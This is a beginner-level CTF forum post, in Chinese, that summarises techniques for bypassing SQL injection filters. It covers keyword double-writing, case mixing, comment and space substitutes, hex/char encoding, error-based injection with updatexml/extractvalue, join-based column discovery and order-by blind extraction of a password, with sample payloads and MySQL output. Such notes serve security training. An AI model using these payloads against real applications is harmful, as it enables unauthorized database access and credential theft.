CTF论坛

[新手入门] 【网友投稿】SQL注入过滤

2019-1-9 13:27
6490
最近做SQL注入的题碰到注入时过滤了一些字符、关键字的情况,总结一下
检测是否被过滤
检测字符是否被过滤,或使用 1'or 1=1# 登录绕过时,可使用的:
and    # 可用&&代替;get注入时需url编码为%26%26
or     # 可用||代替
^      # 二进制异或运算;二者相同为0,不同为1
|      # 二进制或运算;二者都为0为0,否则为1
&      # 二进制与运算;二者都为1为1,否则为0;get注入时需url编码为%26使用
常用绕过双写绕过
若只是简单的过滤一次,则可用双写的方法
例,过滤了'or'
sth.replace('or','')
则双写为'oorr'
注:此时'information'、'for'...中也含有'or',也需要双写!
大小写绕过
进行简单的字符串比较时可用大小写混用的方法
例,检测语句中是否有'union select'字符串,可以写成
UnIon SeLecT 1,2;注释符#  %00  --  /**/
内联注释:
/*!union*/一些关键字符(串)的替换1.字符串截取函数:
常用的截取函数:
substr(字符串,开始位置,长度)
mid(字符串,开始位置,长度)
substring(字符串,开始位置,长度)
#位置从1开始
作用相同
另:除了(字符串,开始位置,长度)这种形式的截取方式以外,还有
(字符串 from num1 for num2)  截取字符串从位置num1开始,截取长度为num2
(字符串 from num )   num>0时,截取字符串从位置num到最后;num<0时,截取字符串从最后一位开始截取num位
其他的截取函数:
left(s,n)   返回字符串s的前n个字符
right(s,n)  返回字符串s的后n个字符2.空格
可用()(括号中间不能为关键字)、注释符/**/代替,例:
select(users)from(information);
select/**/users/**/from/**/information;3.比较符
不等于符:
!=可用<>代替
等于符:
like  #模糊匹配符
if(length(database())like(3),1,0)regexp  #正则匹配符
if(length(database())regexp(3),1,0)
IN 操作符允许我们在 WHERE 子句中规定多个值:
SELECT column_name(s)
FROM table_name
WHERE column_name IN (value1,value2,...)
另:
greatest() 返回最大值
least() 返回最小值4.ascii码ascii与ord等价;都是返回字符串首位的ascii值
&#8203;
char() 返回数值对应的ascii
(python中chr()返回数值对应的ascii)
若ascii、ord等求ascii的函数被过滤了,可以根据原字符匹配(费时间),也可进行模糊匹配(若一位一位的匹配,无法确定字符的重复性、顺序性)        
#使用ascii进行模糊匹配
select if(database()regexp(char(116)),1,0);
还可使用16进制比较的方式;使用16进制时,要在数前加上 0x
hex()  求16进制
&#8203;
#使用hex进行模糊匹配
if(database()regexp(0x99),1,0);
另:
strcmp(str1, str2) 比较两个字符串(16进制);如果这两个字符串(16进制)相等返回0,
若str1的16进制大于str2的16进制则返回1,否则返回0
注:ascii与16进制均不能表示变量,只能表示字符(串)
比如,有这样一个SQL语句:
select * from users where username='cat';
'cat'可以分别用ascii和hex表示:
select * from users where username=char(99,97,116);
&#8203;
select * from users where username=0x636174;
如果引号或表的某条内容,例如用户名为admin,‘admin’被过滤了,就可以用ascii或16进制的方式        
5.逗号
1.
select 1,2;
select * from (select 1)a join (select 2)b;
#等价
2.
limit a,b
limit b offset a
#等价;位置a从0开始,b为长度6.注释符
#
-- (空格)
被过滤了,可让查询/运算的最后一个数据为字符
1'union select '2
select username from users where id=' 1'union select '2 ';
&#8203;
1'^1='1
select username from users where id=' 1'^1='1 ';
注:SQL运算时会进行类型转换
select username from users where id='1';
select username from users where id=1;
#等价
&#8203;
select password from users where username='1'^1='1';
select password from users where username='1'-1-'';
select password from users where username=0;
#等价,会报出所有username首字母不为数字的数据7.ifif(exp,a,b)   #表达式exp正确则返回a,否则返回b
等价于
case when 1 then a when 2 then b else c end
#如果为1则返回a,如果为2返回b,否则返回c(可省略then a when 2)报错注入一般的注入方法双查询注入
updatexml(目标xml文档,xml路径,更新的内容)
extractvalue(目标xml文档,xml路径) 若将information等关键字过滤了:
使用了SQL中不存在的函数会报错出于当前数据库的信息
获取当前数据库:
1' and asdf()%23  
获取当前数据表
Polygon(id)
linestring(id)
获取当前表中字段
join子句:
把来自两个或多个表的行结合起来on指定连接条件;using指定需要哪些列相等(字段名合并)
例:
a join b
若a有2行数据,b有3行数据,join后有6行数据
又a中有字段id,值为1,3;b有字段id,值为1,2,3,
可指定a join b on(a.id=b.id) #返回的表有两行,有两个id字段,值都为1,3也可指定a join b using(id) #返回的表有两行,有一个id字段,值为1,3
在使用别名的时候,表中不能出现相同的字段名,否则就会报错
select * from users where id=1 and (select * from (select * from users as a join users as b)as c);#可得到第一个字段名#若第一个字段名为id,则select * from users where id=1 and (select * from (select * from users as a join users as b using(id))as c);#可得到第二个字段名#若第二个字段名为usernameselect * from users where id=1 and (select * from (select * from users as a join users as b using(id,username)as c);可得到第三个字段名...使用order by进行盲注
过滤字段名获取数据
order by num  #逐位比较字符串的16进制的大小,默认从小到大的顺序
若有表:
mysql> select * from users1;+----+----------+----------+| id | username | password |+----+----------+----------+|  1 | admin    | asdf     |+----+----------+----------+
若要获取admin的密码,但不知道字段名
mysql> select * from users1 union select 1,2,0x61 order by 3;+----+----------+----------+| id | username | password |+----+----------+----------+|  1 | 2        | a        ||  1 | admin    | asdf     |+----+----------+----------+
0x61为字符a的16进制
mysql> select * from users1 union select 1,2,0x62 order by 3;+----+----------+----------+| id | username | password |+----+----------+----------+|  1 | admin    | asdf     ||  1 | 2        | b        |+----+----------+----------+
当联合查询部分有0x61时,显示2,当联合查询部分有0x62时,显示admin,则说明0x61对应的字符即为密码的首位,则可写盲注脚本...
参考        
https://www.secpulse.com/archives/68991.htmlhttps://www.cnblogs.com/Vinson404/p/7253255.html


分享到 :
0 人收藏
有人的地方就有江湖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Powered by Bugku! X3.4 © 2017-2019 CTFbbs.

返回顶部